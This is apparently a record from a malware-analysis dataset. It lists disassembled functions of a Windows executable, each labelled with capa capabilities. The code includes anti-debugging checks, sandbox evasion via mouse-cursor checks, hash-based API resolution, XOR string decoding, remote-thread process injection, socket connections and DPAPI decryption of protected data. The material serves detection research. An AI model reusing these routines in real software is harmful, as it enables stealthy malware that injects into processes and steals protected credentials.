joyce8/EMBER2024-capa huggingface dataset:
Function at 0x418440
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword fs:[0x30]
push ebx
mov al, byte [eax + 2]
test al, al
setne bl
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
movzx ecx, bl
mov edx, 1
cmovne ecx, edx
pushfd
pop eax
mov dword [ebp - 4], eax
test dword [ebp - 4], 0x100
movzx eax, cl
cmovne eax, edx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x418750
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
push edi
mov eax, 1
lea edi, [ebp - 0x30]
xor ecx, ecx
xorps xmm0, xmm0
push ebx
cpuid
mov esi, ebx
movaps xmmword [ebp - 0x30], xmm0
pop ebx
movaps xmm0, xmmword [0x543ca0]
mov dword [edi], eax
mov dword [edi + 4], esi
mov dword [edi + 8], ecx
mov dword [edi + 0xc], edx
mov eax, dword [ebp - 0x28]
shr eax, 0x1f
and eax, 0xffffff01
mov dword [ebp - 0x30], 0x809f8980
mov dword [ebp - 4], eax
xor eax, eax
mov byte [ebp - 0x2c], 0x8a
movups xmmword [ebp - 0x2b], xmm0
lea ecx, [eax - 0x15]
xor byte [ebp + eax - 0x30], cl
inc eax
cmp eax, 0xc
jb 0x4187b4
xorps xmm0, xmm0
mov dword [0x5584d8], eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 0x24], 0
movaps xmmword [ebp - 0x50], xmm0
lea edx, [ecx + 1]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4187e5
sub ecx, edx
lea eax, [ebp - 0x30]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.00402b20
cmp dword [ebp - 0x3c], 0x10
lea eax, [ebp - 0x50]
cmovae eax, dword [ebp - 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, dword [ebp - 0x3c]
mov esi, eax
cmp ecx, 0x10
jb 0x41883f
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x418835
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x418859
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov eax, dword [ebp - 4]
test esi, esi
movzx eax, al
mov ecx, 1
pop edi
cmove eax, ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004fceb0
int3
Function at 0x41aac0
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x51f38b
push eax
mov dword fs:[0], esp
mov eax, dword [0x55864c]
push ebx
sub esp, 0x20
push esi
mov esi, ecx
push edi
test al, 1
jne 0x41ab48
or eax, 1
mov dword [0x55864c], eax
xorps xmm0, xmm0
mov dword [0x558668], 2
movups xmmword [0x558658], xmm0
mov eax, 0x2f5c
mov dword [0x55866c], 0xf
push 0x5294f0
mov word [0x558658], ax
mov byte [0x55865a], 0
call fcn.004f7bfc
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp dword [esi + 0x14], 0x10
mov eax, esi
jb 0x41ab52
mov eax, dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x41ac2f
cmp dword [0x55866c], 0x10
mov eax, 0x558658
mov edi, dword [esi + 0x10]
mov ecx, esi
cmovae eax, dword [0x558658]
cmp dword [esi + 0x14], 0x10
jb 0x41ab82
mov ecx, dword [esi]
push dword [0x558668]
mov edx, edi
push eax
push ecx
call fcn.00485160
add esp, 0xc
cmp eax, 0xffffffff
je 0x41ac06
cmp edi, eax
mov dword [ebp - 0x1c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
cmovb eax, edi
mov ecx, esi
cmp dword [esi + 0x14], 0x10
movups xmmword [ebp - 0x2c], xmm0
jb 0x41abbd
mov ecx, dword [esi]
push eax
push ecx
lea ecx, [ebp - 0x2c]
call fcn.00402b20
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], 1
call fcn.0041aac0
mov ecx, dword [ebp - 0x18]
cmp ecx, 0x10
jb 0x41ac06
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41abfc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41ac44
push ecx
push edx
call fcn.004f7c11
add esp, 8
cmp dword [esi + 0x14], 0x10
jb 0x41ac0e
mov esi, dword [esi]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
setne al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov ecx, dword [ebp - 0xc]
mov al, 1
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004fceb0
int3
Function at 0x4200a0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x224
cmp dword [ebp + 0x1c], 0x10
push ebx
push esi
push edi
mov edi, ecx
lea esi, [ebp + 8]
cmovae esi, dword [ebp + 8]
lea ecx, [ebp + 8]
cmovae ecx, dword [ebp + 8]
push 0x40
push 0x3000
mov dword [esp + 0x14], edi
mov ebx, dword [ecx + 0x3c]
add ebx, esi
mov dword [esp + 0x1c], ecx
push dword [ebx + 0x50]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp + 8]
push 0
push dword [ebx + 0x54]
cmovae ecx, dword [ebp + 8]
mov esi, eax
push ecx
push esi
push edi
mov dword [esp + 0x24], esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
xor edi, edi
cmp ax, word [ebx + 6]
jae 0x420149
lea esi, [ebx + 0x10c]
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp + 8]
mov eax, dword [esi]
cmovae ecx, dword [ebp + 8]
push 0
push dword [esi - 4]
add eax, ecx
push eax
mov eax, dword [esi - 8]
add eax, dword [esp + 0x1c]
push eax
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [ebx + 6]
lea esi, [esi + 0x28]
inc edi
cmp edi, eax
jl 0x420112
mov esi, dword [esp + 0x10]
push 0x40
push 0x3000
push 0x1000
push 0
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [esp + 0x14]
mov edi, eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [esp + 0x18], esi
push 0x200
mov ecx, dword [ecx + 0x3c]
add ecx, esi
mov dword [esp + 0x20], ecx
mov ecx, dword [ebx + 0xa0]
add ecx, esi
mov dword [esp + 0x24], ecx
mov ecx, dword [ebx + 0x80]
mov dword [esp + 0x2c], eax
add ecx, esi
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 0x30], eax
lea eax, [esp + 0x34]
push 0
push eax
mov dword [esp + 0x30], ecx
call fcn.004f9bf0
add esp, 0xc
mov ecx, 0x555b1c
cmp dword [0x555b30], 0x10
mov eax, 0x555b4c
cmovae ecx, dword [0x555b1c]
cmp dword [0x555b60], 0x10
push ecx
cmovae eax, dword [0x555b4c]
push eax
lea eax, [esp + 0x38]
push str._s_s
push eax
call fcn.00402ff0
mov ebx, dword [esp + 0x1c]
lea eax, [esp + 0x28]
add esp, 0x10
push 0
push 0x218
push eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
mov eax, fcn.00420090
lea esi, [edi + 0x218]
sub eax, 0x41ff80
push eax
push 0x41ff80
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push edi
push esi
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push 0
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov ecx, dword [ebp + 0x1c]
cmp ecx, 0x10
jb 0x42027d
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x420273
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x420284
push ecx
push edx
call fcn.004f7c11
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.004fceb0
int3
Function at 0x422d00
Capabilities:
Connect socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1bc
push ebx
push esi
push edi
lea eax, [esp + 0x38]
mov dword [esp + 0x14], ecx
push eax
push 0x202
mov ebx, edx
mov dword [esp + 0x14], 0
or edi, 0xffffffff
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x422e06
push eax
push 0x435462dc
call fcn.00408010
push 0
push 0x4354624d
movzx eax, byte [eax + 0x557e40]
cdq
mov esi, eax
mov dword [esp + 0x20], edx
call fcn.00408010
add esp, 0x10
cmp esi, eax
jne 0x422d6e
cmp dword [esp + 0x10], edx
je 0x422e06
lea eax, [esp + 0xc]
mov dword [esp + 0x18], 0
push eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x20], 0
push eax
push ebx
push dword [esp + 0x20]
xorps xmm0, xmm0
mov dword [esp + 0x30], 1
movlpd qword [esp + 0x38], xmm0
movlpd qword [esp + 0x40], xmm0
mov dword [esp + 0x34], 6
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x422e00
mov esi, dword [esp + 0xc]
test esi, esi
je 0x422e14
mov ebx, dword [sym.imp.WS2_32.dll_closesocket]
push dword [esi + 0xc]
push dword [esi + 8]
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x422e00
push dword [esi + 0x10]
push dword [esi + 0x18]
push edi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x422e10
push edi
call ebx
mov esi, dword [esi + 0x1c]
test esi, esi
jne 0x422dc4
push dword [esp + 0xc]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
call dword [sym.imp.WS2_32.dll_WSACleanup]
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [esp + 0xc]
push esi
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp edi, 0xffffffff
je 0x422e00
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x423fa0
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x51fe50
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x3c
push esi
push 0x558000
mov dword [ebp - 4], 0
call fcn.004f6f12
add esp, 4
test eax, eax
jne 0x4241c3
xorps xmm0, xmm0
mov dword [ebp - 0x26], 0x92bdada6
mov byte [ebp - 0x22], 0xb3
xor ecx, ecx
movq qword [ebp - 0x21], xmm0
mov byte [ebp - 0x19], al
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 5
jb 0x424004
mov dword [0x5584f4], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x26]
mov byte [ebp - 0x21], 0
movups xmmword [ebp - 0x48], xmm0
mov dword [ebp - 0x38], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x34], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x424036
sub ecx, edx
lea eax, [ebp - 0x26]
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.00402b20
mov byte [ebp - 4], 1
lea esi, [ebp - 0x48]
cmp dword [ebp - 0x34], 0x10
cmovae esi, dword [ebp - 0x48]
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x424060
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebx + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x4241c9
cmp dword [ebx + 0x1c], 0x10
lea eax, [ebx + 8]
push edx
cmovae eax, dword [ebx + 8]
push eax
push ecx
push esi
push ecx
push dword [ebp - 0x18]
lea ecx, [ebp - 0x30]
call fcn.00487550
mov byte [ebp - 4], 2
mov eax, dword [0x5580f8]
cmp eax, dword [0x5580fc]
je 0x4240ca
movups xmm0, xmmword [ebp - 0x30]
mov ecx, 0xf
mov byte [ebp - 0x30], 0
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x20]
movq qword [eax + 0x10], xmm0
add dword [0x5580f8], 0x18
jmp 0x4240dc
lea ecx, [ebp - 0x30]
push ecx
push eax
mov ecx, 0x5580f4
call fcn.0048c6d0
mov ecx, dword [ebp - 0x1c]
mov byte [ebp - 4], 1
cmp ecx, 0x10
jb 0x424111
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x424107
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4241ce
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x424149
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42413f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4241ce
push ecx
push edx
call fcn.004f7c11
add esp, 8
push 0x558000
call fcn.004f6f23
mov esi, dword [0x555aac]
lea eax, [ebx + 8]
sub esp, 0x14
mov ecx, esp
push eax
call fcn.0047faa0
mov edx, 0x2714
mov ecx, esi
call fcn.00422e30
mov ecx, dword [ebx + 0x1c]
add esp, 0x18
test eax, eax
setg al
mov byte [ebp - 0x11], al
cmp ecx, 0x10
jb 0x4241b1
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4241a4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4241ce
push ecx
push edx
call fcn.004f7c11
mov al, byte [ebp - 0x11]
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push eax
call fcn.004f6bbb
call fcn.00402390
call fcn.004fceb0
int3
Function at 0x424ee0
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x38
push esi
push edi
mov edi, dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
mov esi, 0x80
mov dword [esp + 0xc], edx
mov dword [esp + 0x1c], ecx
nop
lea eax, [esp + 0x10]
mov dword [esp + 0x18], esi
push eax
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x30]
push eax
call edi
test eax, eax
jne 0x424f29
add esi, 0x10
cmp esi, 0x800
jbe 0x424f00
cmp esi, 0x800
jae 0x424f4e
push 0x800
call fcn.0050662c
mov edi, eax
add esp, 4
test edi, edi
jne 0x424f56
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor al, al
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push 0x800
push 0
push edi
call fcn.004f9bf0
mov esi, dword [esp + 0x1c]
mov ecx, 0x7ff
cmp esi, 0x800
mov eax, esi
cmova eax, ecx
push eax
push dword [esp + 0x24]
push edi
call fcn.004f9670
add esp, 0x18
mov dword [esp + 0x30], 0
xorps xmm0, xmm0
mov dword [esp + 0x34], 0
lea ecx, [esp + 0x20]
movaps xmmword [esp + 0x20], xmm0
push esi
push edi
call fcn.00402b20
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x20]
push eax
call fcn.0047f920
mov ecx, dword [esp + 0x34]
cmp ecx, 0x10
jb 0x424fe8
mov edx, dword [esp + 0x20]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x424fde
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x425003
push ecx
push edx
call fcn.004f7c11
add esp, 8
push edi
call fcn.00505ed6
add esp, 4
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
call fcn.004fceb0
int3
Function at 0x451140
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x12c
push ebx
push esi
push edi
xor ebx, ebx
mov esi, ecx
push ebx
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x4511e4
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x128
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x4511dd
nop
cmp dword [esi + 0x14], 0x10
mov eax, esi
jb 0x45118a
mov eax, dword [esi]
lea ecx, [esp + 0x34]
nop
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x4511b0
test dl, dl
je 0x4511ac
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x4511b0
add ecx, 2
add eax, 2
test dl, dl
jne 0x451190
xor eax, eax
jmp 0x4511b5
sbb eax, eax
or eax, 1
test eax, eax
je 0x4511d9
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x451180
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ebx, dword [esp + 0x18]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x479420
Capabilities:
Access peb ldr_data
Check for unmoving mouse cursor
Encode data using xor
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea eax, [ebp - 0x18]
push ebx
mov ebx, dword [sym.imp.USER32.dll_GetCursorPos]
push esi
push edi
push eax
call ebx
lea eax, [ebp - 0x10]
push eax
call ebx
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x18]
je 0x479508
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
je 0x479508
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 8], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 4], ecx
cmp ecx, esi
je 0x4794c4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4794c4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
sub ebx, 4
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4794bd
nop word [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4794a0
cmp esi, 0x2fa62ca8
je 0x4794c8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x479485
mov eax, dword [eax]
jmp 0x479460
mov esi, dword [ebp - 4]
mov edx, dword [ebp - 8]
push 0x3e8
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x20]
je 0x479508
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x1c]
jne 0x4795a7
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edx, dword [eax + 0x18]
mov dword [ebp - 4], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 8], ecx
cmp ecx, edx
je 0x479579
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x479579
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, edx
nop dword [eax]
mov ecx, dword [ebx - 4]
lea ebx, [ebx - 4]
add ecx, edx
dec edi
mov esi, 0x811c9dc5
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x479572
movsx edx, dl
lea ecx, [ecx + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [ecx - 1]
test dl, dl
jne 0x479555
cmp esi, 0x2fa62ca8
je 0x47957d
mov edx, dword [eax + 0x18]
test edi, edi
jne 0x479540
mov eax, dword [eax]
jmp 0x479514
mov esi, dword [ebp - 8]
mov edx, dword [ebp - 4]
push 1
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov ebx, dword [sym.imp.USER32.dll_GetCursorPos]
jmp 0x479435
push 0
push 0x4354624f
call fcn.00408010
add esp, 8
or eax, edx
je 0x4795be
mov bl, 1
jmp 0x4795c0
xor bl, bl
push 0
push 0x435462dc
call fcn.00408010
add esp, 8
mov byte [eax + 0x557e40], bl
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x481c50
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x51dd50
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
mov eax, ecx
push esi
push edi
push 8
mov dword [ebp - 0x10], eax
mov dword [eax], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.004f7990
mov esi, eax
push 1
mov dword [ebp - 4], 0
call fcn.004f679e
mov dword [esi + 4], eax
add esp, 8
mov eax, dword [ebp - 0x10]
lea edi, [eax + 0x14]
lea ecx, [eax + 0x18]
lea edx, [eax + 0x24]
mov dword [eax + 0x34], esi
lea ebx, [eax + 4]
mov dword [eax + 0xc], ebx
lea esi, [eax + 8]
mov dword [eax + 0x10], esi
mov dword [eax + 0x1c], edi
mov dword [eax + 0x20], ecx
mov dword [eax + 0x2c], edx
add eax, 0x28
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
mov dword [ebx + 0x30], eax
mov ebx, dword [ebp - 0x14]
mov dword [esi], 0
mov dword [ecx], 0
mov dword [eax], 0
mov eax, dword [ebp - 0x10]
mov dword [ebx], 0
mov ebx, dword [ebp - 0x10]
mov dword [edi], 0
mov dword [edx], 0
mov dword [eax + 0x10], esi
mov dword [ebx], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [ebx + 0x48], 0
mov byte [ebx + 0x3d], 0
mov ebx, dword [ebp - 0x14]
mov dword [eax + 0xc], ebx
mov ebx, dword [ebp - 0x10]
mov dword [eax + 0x1c], edi
mov dword [eax + 0x20], ecx
mov dword [eax + 0x2c], edx
mov eax, dword [ebp - 0x18]
mov dword [ebx + 0x30], eax
mov ebx, dword [ebp - 0x14]
mov dword [esi], 0
mov dword [ecx], 0
mov dword [eax], 0
mov dword [ebx], 0
mov dword [edi], 0
mov dword [edx], 0
mov edx, dword [ebp - 0x10]
pop edi
pop esi
pop ebx
mov dword [edx + 0x4c], 0
mov eax, dword [0x5585fc]
mov ecx, dword [0x558600]
mov dword [edx + 0x44], ecx
mov ecx, dword [ebp - 0xc]
mov dword [edx + 0x40], eax
mov eax, edx
mov dword [edx + 0x38], 0
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x481e00
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x527aed
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
mov ebx, ecx
push esi
push edi
push 0
mov eax, dword [ebx]
push 0
mov dword [ebp - 0x14], ebx
mov eax, dword [eax + 4]
mov dword [ebx + eax], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebx]
mov edx, dword [eax + 4]
lea eax, [edx - 0x18]
mov dword [edx + ebx - 4], eax
mov eax, dword [ebx]
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
mov edi, dword [eax + 4]
add edi, ebx
mov ecx, edi
mov dword [edi + 0x30], 0
mov dword [edi + 8], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0x201
mov dword [edi + 0x18], 6
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
call fcn.00403e60
push 8
call fcn.004f7990
add esp, 4
mov esi, eax
push 1
mov dword [ebp - 4], 1
call fcn.004f679e
mov dword [esi + 4], eax
add esp, 4
mov eax, dword [ebp + 8]
mov dword [edi + 0x30], esi
mov dword [edi + 0x38], eax
mov dword [edi + 0x3c], 0
mov esi, dword [esi + 4]
mov ecx, esi
mov dword [ebp - 0x1c], esi
mov eax, dword [esi]
call dword [eax + 4]
lea eax, [ebp - 0x20]
mov dword [ebp - 4], 2
push eax
call fcn.00483330
add esp, 4
mov ecx, eax
mov edx, dword [eax]
push 0x20
mov edx, dword [edx + 0x20]
call edx
mov byte [ebp - 4], 0
mov ecx, esi
mov edx, dword [esi]
mov byte [ebp + 0xb], al
call dword [edx + 8]
test eax, eax
je 0x481f16
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
cmp dword [edi + 0x38], 0
mov al, byte [ebp + 0xb]
mov byte [edi + 0x40], al
jne 0x481f32
mov eax, dword [edi + 0xc]
mov ecx, edi
push 0
or eax, 4
push eax
call fcn.00403e60
mov ecx, dword [ebp - 0xc]
mov eax, ebx
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x483060
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x51dd50
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
mov eax, ecx
push esi
push edi
push 8
mov dword [ebp - 0x10], eax
mov dword [eax], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.004f7990
mov esi, eax
push 1
mov dword [ebp - 4], 0
call fcn.004f679e
mov dword [esi + 4], eax
add esp, 8
mov eax, dword [ebp - 0x10]
lea edi, [eax + 0x14]
lea ecx, [eax + 0x18]
lea edx, [eax + 0x24]
mov dword [eax + 0x34], esi
lea ebx, [eax + 4]
mov dword [eax + 0xc], ebx
lea esi, [eax + 8]
mov dword [eax + 0x10], esi
mov dword [eax + 0x1c], edi
mov dword [eax + 0x20], ecx
mov dword [eax + 0x2c], edx
add eax, 0x28
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x10]
mov dword [ebx + 0x30], eax
mov ebx, dword [ebp - 0x14]
mov dword [esi], 0
mov dword [ecx], 0
mov ecx, dword [ebp - 0xc]
mov dword [eax], 0
mov eax, dword [ebp - 0x10]
mov dword [ebx], 0
mov dword [edi], 0
pop edi
pop esi
mov dword [edx], 0
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x484820
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov edx, dword [ebp + 8]
mov eax, ecx
push ebx
push esi
push edi
cmp dword [edx + 0x14], 0x10
mov edi, edx
mov ebx, dword [edx + 0x10]
mov dword [ebp - 8], eax
jb 0x48483e
mov edi, dword [edx]
xor ecx, ecx
mov esi, 0x811c9dc5
test ebx, ebx
je 0x484864
nop dword [eax]
movzx eax, byte [ecx + edi]
inc ecx
xor eax, esi
imul esi, eax, 0x1000193
cmp ecx, ebx
jb 0x484850
mov eax, dword [ebp - 8]
push esi
push edx
lea ecx, [ebp - 0xc]
push ecx
mov ecx, eax
call fcn.0048ae60
xor ecx, ecx
pop edi
pop esi
cmp dword [eax + 4], ecx
pop ebx
setne cl
mov eax, ecx
mov esp, ebp
pop ebp
ret 4

Function at 0x485e10
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push esi
